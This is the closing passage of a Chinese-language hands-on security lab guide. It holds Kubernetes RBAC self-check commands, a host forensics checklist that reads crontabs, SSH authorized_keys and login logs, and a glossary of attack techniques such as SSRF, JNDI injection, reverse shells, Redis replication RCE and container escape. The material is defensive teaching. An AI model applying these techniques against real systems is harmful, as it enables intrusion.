kubectl get clusterrolebindings -o json | jq -r '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name'
kubectl auth can-i --list --as=system:serviceaccount:vuln:vuln-sa    # 权限自测

# ===== 取证 =====
netstat -antp | grep ESTAB
crontab -l -u root; cat /etc/crontab
cat ~/.ssh/authorized_keys
last -20; lastb -20
find / -mmin -60 -type f -not -path "/proc/*" 2>/dev/null | head -30

附录 C:名词总索引(按字母)

名词 一句话 首次出现
4C 模型 Cloud/Cluster/Container/Code 四层安全模型 8.0
AOF/RDB Redis 的两种持久化方式 7.1.1
autotype Fastjson 用 @type 指定要还原的类 6.6.1
CAP_SYS_ADMIN Linux 的一个 capability,拥有它基本等于 root 8.1.1
CC 链 CommonsCollections 利用链 6.2.4
CVE 公共漏洞编号(Common Vulnerabilities and Exposures) 0.4
Distroless 没有 shell 的极致精简镜像 8.5.6
DNS Rebinding DNS 重绑定,绕过 IP 黑名单 5.4
Docker Socket /var/run/docker.sock,等价于宿主机 root 8.1.2
DoS/DDoS 拒绝服务攻击 6.1.3
etcd K8s 的数据库,存所有状态(含 Secret) 8.4.1
EXP Exploit,完整的攻击利用代码 0.4
Gadget Chain 用已有合法类拼出的利用链 6.2.3
gopher 能构造任意 TCP 报文的协议(打 Redis 用) 5.2
IMDS 云元数据服务,169.254.169.254 5.3
JNDI Java 的“按名字查资源”接口,可被利用 6.5.2
kubelet 每个 Node 上的 agent,10250 端口 8.4.2
LDAP/RMI JNDI 的两种后端协议 6.5.2
OOB(带外) 用另一种渠道(如 DNS)把数据带出来 6.1.2
PoC Proof of Concept,证明漏洞存在的代码 0.4
PSA Pod Security Admission,阻止高危 Pod 8.1.1
RBAC 基于角色的权限控制 8.3.7
RCE 远程代码执行 6.0
RESP Redis 的通信协议(纯文本) 7.1.1
反弹 Shell 让目标主动连攻击者(绕过防火墙) 6.3.1
SA Token Pod 的 K8s 身份证,默认挂载 8.3.1
SBOM 软件物料清单(配料表) 6.8.2
SCA 软件成分分析(扫依赖漏洞) 6.8.2
SpEL Spring 表达式语言 6.7.4
SSRF 服务端请求伪造 5.0
TOCTOU 检查和使用之间的时间差漏洞 5.4
UDF MySQL 用户自定义函数(可提权) 7.2.2
VEX 漏洞影响声明(“这个 CVE 对我无害”) 6.8.2
Webshell 放在 Web 目录的恶意脚本 7.1.6
XXE XML 外部实体注入 6.1.1
ysoserial 反序列化 payload 生成器 6.2.5
十亿笑 嵌套实体导致的内存爆炸 DoS 6.1.3
主从复制 RCE 伪造 Redis 主库投递恶意模块 7.1.7
纵向/横向移动 逃逸到宿主机 / 打其他机器 8.3.6

文档结束。

如果你从头做到这里,你现在手里有: 9 章实验、40+ 个可复现的攻击、20+ 份复测脚本、1 份上线 Checklist、1 套应急手册。

但最重要的不是这些脚本,而是你已经开始用攻击者的眼睛看自己的代码了。 从今天起,你写 Runtime.exec(cmd) 时手会抖, 看到 new URL(userInput) 会本能地想“这里能不能打 SSRF”, 看到 automountServiceAccountToken 会先想“这个 Pod 真的需要吗”。

这种条件反射,才是这份文档真正的价值。